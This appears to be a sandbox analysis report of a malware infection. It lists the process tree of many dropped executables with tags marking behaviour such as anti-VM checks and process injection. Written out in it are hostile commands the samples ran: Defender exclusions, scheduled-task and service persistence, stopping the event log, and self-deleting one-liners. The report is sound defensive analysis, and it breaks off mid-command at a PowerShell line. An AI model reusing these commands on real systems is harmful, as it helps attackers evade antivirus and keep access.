"C:\Users\Admin\AppData\Local\Temp\a\mQxBvlTA.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:2924

C:\Users\Admin\AppData\Local\Temp\a\xIPJVPDq.exe
"C:\Users\Admin\AppData\Local\Temp\a\xIPJVPDq.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5080

C:\Users\Admin\AppData\Local\Temp\FZuUwBfo.exe
"C:\Users\Admin\AppData\Local\Temp\FZuUwBfo.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3200

C:\Users\Admin\AppData\Local\Temp\a\crypted6077866846MVYQY.exe
"C:\Users\Admin\AppData\Local\Temp\a\crypted6077866846MVYQY.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3196

C:\Users\Admin\AppData\Local\Temp\a\i1gcbW1E.exe
"C:\Users\Admin\AppData\Local\Temp\a\i1gcbW1E.exe"
2⤵
- Executes dropped EXE
PID:2044

C:\Users\Admin\AppData\Local\Temp\a\wininit.exe
"C:\Users\Admin\AppData\Local\Temp\a\wininit.exe"
2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4832

C:\Users\Admin\AppData\Local\directory\word.exe
"C:\Users\Admin\AppData\Local\Temp\a\wininit.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1960

C:\Windows\SysWOW64\svchost.exe
"C:\Users\Admin\AppData\Local\Temp\a\wininit.exe"
4⤵
PID:4084

C:\Users\Admin\AppData\Local\directory\word.exe
"C:\Users\Admin\AppData\Local\directory\word.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2488

C:\Windows\SysWOW64\svchost.exe
"C:\Users\Admin\AppData\Local\directory\word.exe"
5⤵
PID:4176

C:\Users\Admin\AppData\Local\directory\word.exe
"C:\Users\Admin\AppData\Local\directory\word.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5100

C:\Windows\SysWOW64\svchost.exe
"C:\Users\Admin\AppData\Local\directory\word.exe"
6⤵
PID:3964

C:\Users\Admin\AppData\Local\Temp\a\1234.exe
"C:\Users\Admin\AppData\Local\Temp\a\1234.exe"
2⤵
- Executes dropped EXE
PID:4852

C:\Users\Admin\AppData\Local\Temp\a\ISetup8.exe
"C:\Users\Admin\AppData\Local\Temp\a\ISetup8.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3856

C:\Users\Admin\AppData\Local\Temp\u2z4.0.exe
"C:\Users\Admin\AppData\Local\Temp\u2z4.0.exe"
3⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:1548

C:\Users\Admin\AppData\Local\Temp\u2z4.1.exe
"C:\Users\Admin\AppData\Local\Temp\u2z4.1.exe"
3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 1644
3⤵
- Program crash
PID:2264

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 1524
3⤵
- Program crash
PID:876

C:\Users\Admin\AppData\Local\Temp\a\test2.exe
"C:\Users\Admin\AppData\Local\Temp\a\test2.exe"
2⤵
- Executes dropped EXE
PID:4512

C:\Users\Admin\AppData\Local\Temp\a\1111.exe
"C:\Users\Admin\AppData\Local\Temp\a\1111.exe"
2⤵
- Executes dropped EXE
PID:3108

C:\Users\Admin\AppData\Local\Temp\a\ISetup2.exe
"C:\Users\Admin\AppData\Local\Temp\a\ISetup2.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4040

C:\Users\Admin\AppData\Local\Temp\u348.0.exe
"C:\Users\Admin\AppData\Local\Temp\u348.0.exe"
3⤵
- Executes dropped EXE
PID:4884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4884 -s 1096
4⤵
- Program crash
PID:1848

C:\Users\Admin\AppData\Local\Temp\a\Tester.exe
"C:\Users\Admin\AppData\Local\Temp\a\Tester.exe"
2⤵
- Executes dropped EXE
PID:3160

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svchost.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1760

C:\Users\Admin\AppData\Local\Temp\a\svchost.exe
"C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2264

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Public\svchost.exe"
3⤵
- Creates scheduled task(s)
PID:4796

C:\Users\Admin\AppData\Local\Temp\a\555.exe
"C:\Users\Admin\AppData\Local\Temp\a\555.exe"
2⤵
- Executes dropped EXE
PID:4700

C:\Users\Admin\AppData\Local\Temp\a\Document.exe
"C:\Users\Admin\AppData\Local\Temp\a\Document.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4300

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\Document.exe"
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4804

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\gYVTyaODtj.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1364

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gYVTyaODtj" /XML "C:\Users\Admin\AppData\Local\Temp\tmp3004.tmp"
3⤵
- Creates scheduled task(s)
PID:3500

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:364

C:\Users\Admin\AppData\Local\Temp\a\Document.exe
"C:\Users\Admin\AppData\Local\Temp\a\Document.exe"
3⤵
- Executes dropped EXE
PID:5368

C:\Users\Admin\AppData\Local\Temp\a\Document.exe
"C:\Users\Admin\AppData\Local\Temp\a\Document.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5380

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "msdtc" /tr '"C:\Users\Admin\AppData\Roaming\msdtc.exe"' & exit
4⤵
PID:5848

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "msdtc" /tr '"C:\Users\Admin\AppData\Roaming\msdtc.exe"'
5⤵
- Creates scheduled task(s)
PID:5276

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp62DC.tmp.bat""
4⤵
PID:5884

C:\Windows\SysWOW64\timeout.exe
timeout 3
5⤵
- Delays execution with timeout.exe
PID:2312

C:\Users\Admin\AppData\Roaming\msdtc.exe
"C:\Users\Admin\AppData\Roaming\msdtc.exe"
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:6080

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\msdtc.exe"
6⤵
PID:3444

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\gYVTyaODtj.exe"
6⤵
PID:4840

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gYVTyaODtj" /XML "C:\Users\Admin\AppData\Local\Temp\tmpD666.tmp"
6⤵
- Creates scheduled task(s)
PID:5688

C:\Users\Admin\AppData\Roaming\msdtc.exe
"C:\Users\Admin\AppData\Roaming\msdtc.exe"
6⤵
PID:5828

C:\Users\Admin\AppData\Roaming\msdtc.exe
"C:\Users\Admin\AppData\Roaming\msdtc.exe"
6⤵
PID:5860

C:\Users\Admin\AppData\Local\Temp\a\BrawlB0t.exe
"C:\Users\Admin\AppData\Local\Temp\a\BrawlB0t.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\BrawlB0t.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'BrawlB0t.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\OneDrive.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4608

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'OneDrive.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1568

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "OneDrive" /tr "C:\Users\Admin\AppData\Roaming\OneDrive.exe"
3⤵
- Creates scheduled task(s)
PID:364

C:\Users\Admin\AppData\Local\Temp\a\medcallaboratory5.exe
"C:\Users\Admin\AppData\Local\Temp\a\medcallaboratory5.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:332

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Users\Admin\AppData\Local\Temp\a\medcallaboratory5.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:988

C:\Users\Admin\AppData\Local\Temp\a\securitycheck.exe
"C:\Users\Admin\AppData\Local\Temp\a\securitycheck.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5012

C:\Users\Admin\AppData\Local\Temp\a\PrintSpoofer.exe
"C:\Users\Admin\AppData\Local\Temp\a\PrintSpoofer.exe"
2⤵
- Executes dropped EXE
PID:4236

C:\Users\Admin\AppData\Local\Temp\a\Adobe_update.exe
"C:\Users\Admin\AppData\Local\Temp\a\Adobe_update.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4936

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Modifies system certificate store
PID:2420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4936 -s 804
3⤵
- Program crash
PID:1404

C:\Users\Admin\AppData\Local\Temp\a\Retailer_prog.exe
"C:\Users\Admin\AppData\Local\Temp\a\Retailer_prog.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1048

C:\Users\Admin\AppData\Local\Temp\a\BroomSetup.exe
"C:\Users\Admin\AppData\Local\Temp\a\BroomSetup.exe"
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5040

C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5816

C:\Users\Admin\AppData\Local\Temp\a\alexxxxxxxx.exe
"C:\Users\Admin\AppData\Local\Temp\a\alexxxxxxxx.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2492

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:3736

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:4196

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:1608

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:572

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:2864

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:1968

C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe
"C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"
4⤵
- Executes dropped EXE
PID:3736

C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe
"C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2868

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
4⤵
PID:4736

C:\Windows\SysWOW64\choice.exe
choice /C Y /N /D Y /T 3
5⤵
PID:5400

C:\Users\Admin\AppData\Local\Temp\a\syncUpd.exe
"C:\Users\Admin\AppData\Local\Temp\a\syncUpd.exe"
2⤵
- Executes dropped EXE
PID:5020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5020 -s 1372
3⤵
- Program crash
PID:2648

C:\Users\Admin\AppData\Local\Temp\a\Ledger-Live.exe
"C:\Users\Admin\AppData\Local\Temp\a\Ledger-Live.exe"
2⤵
- Executes dropped EXE
PID:4032

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\a\Ledger-Live.exe
3⤵
PID:324

C:\Windows\SysWOW64\PING.EXE
ping 2.2.2.2 -n 1 -w 3000
4⤵
- Runs ping.exe
PID:5548

C:\Users\Admin\AppData\Local\Temp\a\1111.exe
"C:\Users\Admin\AppData\Local\Temp\a\1111.exe"
2⤵
- Executes dropped EXE
PID:5724

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5724 -s 168
3⤵
- Program crash
PID:5876

C:\Users\Admin\AppData\Local\Temp\a\new1.exe
"C:\Users\Admin\AppData\Local\Temp\a\new1.exe"
2⤵
- Executes dropped EXE
PID:5868

C:\Users\Admin\AppData\Local\Temp\a\swiiii.exe
"C:\Users\Admin\AppData\Local\Temp\a\swiiii.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2788

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:4668

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Loads dropped DLL
- Checks processor information in registry
PID:5472

C:\Users\Admin\AppData\Local\Temp\a\ISetup5.exe
"C:\Users\Admin\AppData\Local\Temp\a\ISetup5.exe"
2⤵
- Executes dropped EXE
PID:5016

C:\Users\Admin\AppData\Local\Temp\u3vc.0.exe
"C:\Users\Admin\AppData\Local\Temp\u3vc.0.exe"
3⤵
- Executes dropped EXE
PID:5900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5900 -s 1096
4⤵
- Program crash
PID:5004

C:\Users\Admin\AppData\Local\Temp\u3vc.1.exe
"C:\Users\Admin\AppData\Local\Temp\u3vc.1.exe"
3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5016 -s 1560
3⤵
- Program crash
PID:1848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5016 -s 1568
3⤵
- Program crash
PID:5600

C:\Users\Admin\AppData\Local\Temp\a\mstsc.exe
"C:\Users\Admin\AppData\Local\Temp\a\mstsc.exe"
2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:5748

C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe
"C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5684 -s 628
4⤵
- Program crash
PID:5292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5748 -s 1136
3⤵
- Program crash
PID:5232

C:\Users\Admin\AppData\Local\Temp\a\crypted_097f1784.exe
"C:\Users\Admin\AppData\Local\Temp\a\crypted_097f1784.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5524

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:5372

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5524 -s 832
3⤵
- Program crash
PID:5976

C:\Users\Admin\AppData\Local\Temp\a\june.exe
"C:\Users\Admin\AppData\Local\Temp\a\june.exe"
2⤵
PID:4796

C:\Users\Admin\AppData\Local\Temp\is-C7OVB.tmp\june.tmp
"C:\Users\Admin\AppData\Local\Temp\is-C7OVB.tmp\june.tmp" /SL5="$502A6,4053053,54272,C:\Users\Admin\AppData\Local\Temp\a\june.exe"
3⤵
PID:3184

C:\Users\Admin\AppData\Local\Sun Vox\sunvox32.exe
"C:\Users\Admin\AppData\Local\Sun Vox\sunvox32.exe" -i
4⤵
PID:2648

C:\Users\Admin\AppData\Local\Sun Vox\sunvox32.exe
"C:\Users\Admin\AppData\Local\Sun Vox\sunvox32.exe" -s
4⤵
PID:5768

C:\Users\Admin\AppData\Local\Temp\a\crypted_33cb9091.exe
"C:\Users\Admin\AppData\Local\Temp\a\crypted_33cb9091.exe"
2⤵
PID:4432

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:4912

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:5656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4432 -s 872
3⤵
- Program crash
PID:1484

C:\Users\Admin\AppData\Local\Temp\a\new.exe
"C:\Users\Admin\AppData\Local\Temp\a\new.exe"
2⤵
PID:5220

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:5736

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:5764

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:5160

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:4596

C:\Users\Admin\AppData\Local\Temp\a\ttt01.exe
"C:\Users\Admin\AppData\Local\Temp\a\ttt01.exe"
2⤵
PID:5668

C:\Users\Admin\AppData\Local\Temp\a\123p.exe
"C:\Users\Admin\AppData\Local\Temp\a\123p.exe"
2⤵
PID:5160

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
3⤵
PID:1160

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
3⤵
PID:5364

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
3⤵
PID:5420

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
3⤵
PID:5804

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "OBGPQMHF"
3⤵
- Launches sc.exe
PID:3024

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "OBGPQMHF" binpath= "C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe" start= "auto"
3⤵
- Launches sc.exe
PID:5748

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
- Launches sc.exe
PID:3016

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "OBGPQMHF"
3⤵
- Launches sc.exe
PID:1408

C:\Users\Admin\AppData\Local\Temp\a\IjerkOff.exe
"C:\Users\Admin\AppData\Local\Temp\a\IjerkOff.exe"
2⤵
PID:4864

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\BlockComponentwebMonitordhcp\AbAw8xfGFsmxdxvuwvbKubDJeV.vbe"
3⤵
PID:3444

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\BlockComponentwebMonitordhcp\8H5kf2bUK2r.bat" "
4⤵
PID:3572

C:\BlockComponentwebMonitordhcp\agentDllDhcp.exe
"C:\BlockComponentwebMonitordhcp\agentDllDhcp.exe"
5⤵
PID:2072

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\uzs.1.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\uzs.1.exe"
6⤵
PID:960

C:\Users\Admin\AppData\Local\Temp\a\ISetup1.exe
"C:\Users\Admin\AppData\Local\Temp\a\ISetup1.exe"
2⤵
PID:1288

C:\Users\Admin\AppData\Local\Temp\uzs.0.exe
"C:\Users\Admin\AppData\Local\Temp\uzs.0.exe"
3⤵
PID:440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 440 -s 1096
4⤵
- Program crash
PID:5512

C:\Users\Admin\AppData\Local\Temp\uzs.1.exe
"C:\Users\Admin\AppData\Local\Temp\uzs.1.exe"
3⤵
PID:6088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1288 -s 1556
3⤵
- Program crash
PID:1380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1288 -s 1180
3⤵
- Program crash
PID:2552

C:\Users\Admin\AppData\Local\Temp\a\diufhloadme.exe
"C:\Users\Admin\AppData\Local\Temp\a\diufhloadme.exe"
2⤵
PID:4088

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
3⤵
PID:5596

C:\Windows\SYSTEM32\cmd.exe
"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\grhgjhjh"
3⤵
PID:5856

C:\Windows\SYSTEM32\cmd.exe
"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
3⤵
PID:2116

C:\Windows\system32\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
4⤵
- Creates scheduled task(s)
PID:5376

C:\Windows\SYSTEM32\cmd.exe
"cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\a\diufhloadme.exe" "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe"
3⤵
PID:5416

C:\Users\Admin\AppData\Local\Temp\a\ghhjhjhsg.exe
"C:\Users\Admin\AppData\Local\Temp\a\ghhjhjhsg.exe"
2⤵
PID:5828

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "hgfhjjhgj" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\ghghghfg\gfhgfgjgf.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:308

C:\Users\Admin\AppData\Roaming\ghghghfg\gfhgfgjgf.exe
"C:\Users\Admin\AppData\Roaming\ghghghfg\gfhgfgjgf.exe"
3⤵
PID:4264

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "hgfhjjhgj" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\ghghghfg\gfhgfgjgf.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:3440

C:\Users\Admin\AppData\Local\Temp\a\crypt.exe
"C:\Users\Admin\AppData\Local\Temp\a\crypt.exe"
2⤵
PID:3584

C:\Windows\SysWOW64\wscript.exe
"wscript.exe" "C:\Users\Admin\start.vbs"
3⤵
PID:4516

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
4⤵
PID:5112

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command 